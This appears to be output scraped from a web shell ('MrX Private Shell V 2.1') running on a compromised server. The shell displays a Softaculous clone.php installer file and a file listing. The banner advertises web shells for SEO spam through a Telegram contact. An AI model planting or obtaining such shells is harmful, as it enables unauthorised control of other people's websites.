__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
//////////////////////////////////////////////////////////////
//===========================================================
// clone.php
//===========================================================
// SOFTACULOUS
// Version : 4.2.8
// Inspired by the DESIRE to be the BEST OF ALL
// ----------------------------------------------------------
// Started by: Alons
// Date: 10th Jan 2009
// Time: 21:00 hrs
// Site: http://www.softaculous.com/ (SOFTACULOUS)
// ----------------------------------------------------------
// Please Read the Terms of use at http://www.softaculous.com
// ----------------------------------------------------------
//===========================================================
// (c)Softaculous Inc.
//===========================================================
//////////////////////////////////////////////////////////////
if(!defined('SOFTACULOUS')){
die('Hacking Attempt');
}
//The Install process
function __clone(){
global $__settings, $error, $software, $globals, $replace_data, $data;
//Do we meet the Minimum software requirements
__requirements();
if(!empty($error)){
return false;
}
$__settings['siteidentifier'] = srandstr(32);
$temp = parse_url($__settings['softurl']);
$__settings['relativeurl'] = $temp['path'];
$__settings['domhost'] = $temp['host'];
sclone_replace($replace_data, $__settings['softpath'].'/config.php', true);
// We need the Database Prefix to upgrade
$file = sfile($__settings['softpath'].'/config.php');
if(empty($file)){
$error[] = 'Could not read the config file to get the database prefix.';
return false;
}
soft_preg_replace('/\$CFG->prefix(\s*?)=(\s*?)("|\')(.*?)("|\')(\s*?);/is', $file, $__settings['dbprefix'], 4);
$dom_database = "UPDATE ".$__settings['dbprefix']."config SET value='".$__settings['domhost']."' WHERE name='chat_serverhost';";
sdb_query($dom_database, $__settings['softdbhost'], $__settings['softdbuser'], $__settings['softdbpass'], $__settings['softdb']);
$dom_database1 = "UPDATE ".$__settings['dbprefix']."config SET value='".$__settings['siteidentifier'].$__settings['domhost']."' WHERE name='siteidentifier';";
sdb_query($dom_database1, $__settings['softdbhost'], $__settings['softdbuser'], $__settings['softdbpass'], $__settings['softdb']);
$dom_database2 = "UPDATE ".$__settings['dbprefix']."config_log SET value='".$__settings['domhost']."' WHERE name='chat_serverhost';";
sdb_query($dom_database2, $__settings['softdbhost'], $__settings['softdbuser'], $__settings['softdbpass'], $__settings['softdb']);
//deleting some cache directories
@srm($__settings['softdatadir'].'/cache/');
@srm($__settings['softdatadir'].'/localcache/');
@srm($__settings['softdatadir'].'/temp/');
@smkdir($__settings['softdatadir'].'/cache/', $globals['odc']);
@smkdir($__settings['softdatadir'].'/localcache/', $globals['odc']);
@smkdir($__settings['softdatadir'].'/temp/', $globals['odc']);
@schmod($__settings['softdatadir'], $globals['odc'], 1);
}
//Check whether the Minimum Software configuration matches
function __requirements(){
global $__settings, $error, $software, $globals;
//Get the PHP path
if($globals['os'] == 'windows'){
$__settings['php_path'] = sphpbin();
}else{
$__settings['php_path'] = 'php';
}
return true;
}
?>| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| images | Folder | 0755 |
|
|
| languages | Folder | 0755 |
|
|
| php53 | Folder | 0755 |
|
|
| php56 | Folder | 0755 |
|
|
| php71 | Folder | 0755 |
|
|
| php81 | Folder | 0755 |
|
|
| php82 | Folder | 0755 |
|
|
| NOTES.txt | File | 2.66 KB | 0644 |
|
| _clone.php | File | 3.24 KB | 0644 |
|
| add_admin.php | File | 733 B | 0644 |
|
| check_utf8.php | File | 6.99 KB | 0644 |
|
| config.php | File | 745 B | 0644 |
|
| coreindex.php | File | 388 B | 0644 |
|
| edit.php | File | 4.63 KB | 0644 |
|
| edit.xml | File | 433 B | 0644 |
|
| extend.php | File | 12.45 KB | 0644 |
|
| fileindex.php | File | 645 B | 0644 |
|
| get_plugin_list.php | File | 840 B | 0644 |
|
| import.php | File | 8.52 KB | 0644 |
|
| info.xml | File | 3.89 KB | 0644 |
|
| install.js | File | 924 B | 0644 |
|
| install.php | File | 15.66 KB | 0644 |
|
| install.xml | File | 3.59 KB | 0644 |
|
| md5 | File | 3.65 KB | 0644 |
|
| privatekey.php | File | 975 B | 0644 |
|
| remove.php | File | 3.13 KB | 0644 |
|
| update_pass.php | File | 541 B | 0644 |
|
| upgrade.php | File | 16.87 KB | 0644 |
|
| upgrade.xml | File | 307 B | 0644 |
|